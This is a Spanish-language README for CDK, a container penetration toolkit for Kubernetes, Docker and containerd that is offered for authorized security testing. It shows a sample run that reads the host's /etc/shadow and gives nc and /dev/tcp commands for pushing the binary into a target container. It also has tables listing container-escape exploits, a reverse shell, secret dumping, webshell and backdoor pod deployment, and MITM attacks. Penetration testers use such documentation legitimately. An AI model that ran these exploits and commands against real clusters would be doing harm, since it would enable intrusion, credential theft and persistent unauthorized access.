
📦 Facilita las pruebas de seguridad de K8s, Docker y Containerd.
Inglés | 简体中文

El uso de CDK para atacar objetivos sin consentimiento mutuo previo es ilegal. CDK es solo para fines de pruebas de seguridad.
CDK es un kit de penetración de contenedores de código abierto, diseñado para ofrecer una explotación estable en diferentes contenedores reducidos sin ninguna dependencia del sistema operativo. Viene con útiles herramientas de red y muchos PoCs/EXPs potentes y te ayuda a escapar del contenedor y tomar el control del clúster K8s fácilmente.
Ejecuta cdk eva para obtener información de evaluación y un exploit recomendado, luego ejecuta cdk run para iniciar el ataque.
> ./cdk eva --full
[*] Maybe you can exploit the *Capabilities* below:
[!] CAP_DAC_READ_SEARCH enabled. You can read files from host. Use 'cdk run cap-dac-read-search' ... for exploitation.
[!] CAP_SYS_MODULE enabled. You can escape the container via loading kernel module. More info at https://xcellerator.github.io/posts/docker_escape/.
Critical - SYS_ADMIN Capability Found. Try 'cdk run rewrite-cgroup-devices/mount-cgroup/...'.
Critical - Possible Privileged Container Found.
> ./cdk run cap-dac-read-search
Running with target: /etc/shadow, ref: /etc/hostname
ubuntu:$6$*******:19173:0:99999:7:::
root:*:18659:0:99999:7:::
daemon:*:18659:0:99999:7:::
bin:*:18659:0:99999:7:::
Descarga la última versión en https://github.com/cdk-team/CDK/releases/
Coloca los archivos ejecutables en el contenedor objetivo y comienza las pruebas.
Si tienes un exploit que puede subir un archivo, entonces puedes subir el binario de CDK directamente.
Si tienes un exploit RCE, pero el contenedor objetivo no tiene curl ni wget, puedes usar el siguiente método para entregar CDK:
(en tu máquina)
nc -lvp 999 < cdk
cat < /dev/tcp/(tu_ip_pública)/(puerto) > cdk
chmod a+x cdk
Usage:
cdk evaluate [--full]
cdk run (--list | <exploit> [<args>...])
cdk <tool> [<args>...]
Evaluate:
cdk evaluate Gather information to find weakness inside container.
cdk evaluate --full Enable file scan during information gathering.
Exploit:
cdk run --list List all available exploits.
cdk run <exploit> [<args>...] Run single exploit, docs in https://github.com/cdk-team/CDK/wiki
Tool:
vi <file> Edit files in container like "vi" command.
ps Show process information like "ps -ef" command.
nc [options] Create TCP tunnel.
ifconfig Show network information.
kcurl <path> (get|post) <uri> <data> Make request to K8s api-server.
ectl <endpoint> get <key> Unauthorized enumeration of ectd keys.
ucurl (get|post) <socket> <uri> <data> Make request to docker unix socket.
probe <ip> <port> <parallel> <timeout-ms> TCP port scan, example: cdk probe 10.0.1.0-255 80,8080-9443 50 1000
Options:
-h --help Show this help msg.
-v --version Show version.
--profile=<name> Select evaluation profile.
CDK tiene tres módulos:
Uso
cdk evaluate [--full]
Lista todos los exploits disponibles:
cdk run --list
Ejecuta exploit dirigido:
cdk run <script-name> [options]
Nota sobre Thin: La versión thin está preparada para shells de contenedores de corta duración como funciones serverless. Agregamos etiquetas de compilación en el código fuente y eliminamos algunos exploits para que el binario sea más ligero. El archivo de 2MB contiene el 90% de las funciones de CDK, también puedes seleccionar exploits útiles del código fuente de CDK para construir tu propio binario ligero.
Ejecuta comandos como en Linux, ligeramente diferente en los argumentos de entrada, consulta el enlace de uso.
cdk nc [options]
cdk ps
Si quieres saber cómo lanzamos una nueva versión, cómo se produce thin, por qué proporcionamos versiones upx, cuáles son las diferencias entre las diferentes versiones (all, normal, thin, upx) y cómo elegir exploits y herramientas específicas de CDK para compilar tu propio lanzamiento, consulta el Documento de Versión.
En primer lugar, ¡gracias por tomarte el tiempo para contribuir!
Gracias a los siguientes colaboradores:
Más colaboradores:Lista de Colaboradores
Los errores se rastrean como GitHub Issues. Crea un issue con la versión actual de CDK, el mensaje de error y el entorno. Describe los pasos exactos que reproducen el problema.
Las sugerencias de mejora se rastrean como GitHub Discussions. Puedes publicar cualquier pensamiento aquí para discutir directamente con los desarrolladores.
Corregir problemas o mantener la calidad de CDK:
Nueva característica o exploits:

El proyecto CDK ahora está incluido en 404Team Proyecto Starlink 2.0. Únete a la comunidad StarLink para ponerte en contacto con el equipo de desarrollo de CDK.
| Tácticas | Script | Soportado | Uso/Ejemplo |
|---|
| Recopilación de Información | OS Basic Info | ✔ | link |
| Recopilación de Información | Available Capabilities | ✔ | link |
| Recopilación de Información | Available Linux Commands | ✔ | link |
| Recopilación de Información | Mounts | ✔ | link |
| Recopilación de Información | Net Namespace | ✔ | link |
| Recopilación de Información | Sensitive ENV | ✔ | link |
| Recopilación de Información | Sensitive Process | ✔ | link |
| Recopilación de Información | Sensitive Local Files | ✔ | link |
| Recopilación de Información | Kube-proxy Route Localnet(CVE-2020-8558) | ✔ | link |
| Recopilación de Información | DNS-Based Service Discovery | ✔ | link |
| Descubrimiento | K8s Api-server Info | ✔ | link |
| Descubrimiento | K8s Service-account Info | ✔ | link |
| Descubrimiento | Cloud Provider Metadata API | ✔ | link |
| Táctica | Técnica | Nombre del Exploit CDK | Soportado | En Thin | Doc |
|---|
| Escape | docker-runc CVE-2019-5736 | runc-pwn | ✔ | ✔ | |
| Escape | containerd-shim CVE-2020-15257 | shim-pwn | ✔ | link | |
| Escape | docker.sock PoC (DIND attack) | docker-sock-check | ✔ | ✔ | link |
| Escape | docker.sock RCE | docker-sock-pwn | ✔ | ✔ | link |
| Escape | Docker API(2375) RCE | docker-api-pwn | ✔ | ✔ | link |
| Escape | Device Mount Escaping | mount-disk | ✔ | ✔ | link |
| Escape | LXCFS Escaping | lxcfs-rw | ✔ | ✔ | link |
| Escape | Cgroups Escaping | mount-cgroup | ✔ | ✔ | link |
| Escape | Abuse Unprivileged User Namespace Escaping CVE-2022-0492 | abuse-unpriv-userns | ✔ | ✔ | link |
| Escape | Procfs Escaping | mount-procfs | ✔ | ✔ | link |
| Escape | Ptrace Escaping PoC | check-ptrace | ✔ | ✔ | link |
| Escape | Rewrite Cgroup(devices.allow) | rewrite-cgroup-devices | ✔ | ✔ | link |
| Escape | Read arbitrary file from host system (CAP_DAC_READ_SEARCH) | cap-dac-read-search | ✔ | ✔ | link |
| Descubrimiento | K8s Component Probe | service-probe | ✔ | ✔ | link |
| Descubrimiento | Dump Istio Sidecar Meta | istio-check | ✔ | ✔ | link |
| Descubrimiento | Dump K8s Pod Security Policies | k8s-psp-dump | ✔ | link | |
| Control Remoto | Reverse Shell | reverse-shell | ✔ | ✔ | link |
| Control Remoto | Kubelet Exec | kubelet-exec | ✔ | ✔ | |
| Acceso a Credenciales | Registry BruteForce | registry-brute | ✔ | ✔ | link |
| Acceso a Credenciales | Access Key Scanning | ak-leakage | ✔ | ✔ | link |
| Acceso a Credenciales | Etcd Get K8s Token | etcd-get-k8s-token | ✔ | ✔ | |
| Acceso a Credenciales | Dump K8s Secrets | k8s-secret-dump | ✔ | ✔ | link |
| Acceso a Credenciales | Dump K8s Config | k8s-configmap-dump | ✔ | ✔ | link |
| Escalada de Privilegios | K8s RBAC Bypass | k8s-get-sa-token | ✔ | ✔ | link |
| Escalada de Privilegios | CVE-2026-31431 copy-fail (non-root→root & x86_64 only) | copy-fail-cve-2026-31431 | ✔ | link | |
| Persistencia | Deploy WebShell | webshell-deploy | ✔ | ✔ | link |
| Persistencia | Deploy Backdoor Pod | k8s-backdoor-daemonset | ✔ | ✔ | link |
| Persistencia | Deploy Shadow K8s api-server | k8s-shadow-apiserver | ✔ | link | |
| Persistencia | K8s MITM Attack (CVE-2020-8554) | k8s-mitm-clusterip | ✔ | ✔ | link |
| Persistencia | Deploy K8s CronJob | k8s-cronjob | ✔ | ✔ | link |
| Comando | Descripción | Soportado | Uso/Ejemplo |
|---|
| nc | Túnel TCP | ✔ | link |
| ps | Información de Procesos | ✔ | link |
| netstat | Like "netstat -antup" command | ✔ | |
| ifconfig | Información de Red | ✔ | link |
| vi | Editar Archivos | ✔ | link |
| ectl | Enumeración no autorizada de claves ectd | ✔ | |
| kcurl | Solicitud al servidor de API de K8s | ✔ | link |
| dcurl | Solicitud a la API HTTP de Docker | ✔ | link |
| ucurl | Solicitud al socket Unix de Docker | ✔ | link |
| rcurl | Solicitud a la API de Docker Registry | ||
| probe | Escaneo de IP/Puertos | ✔ | link |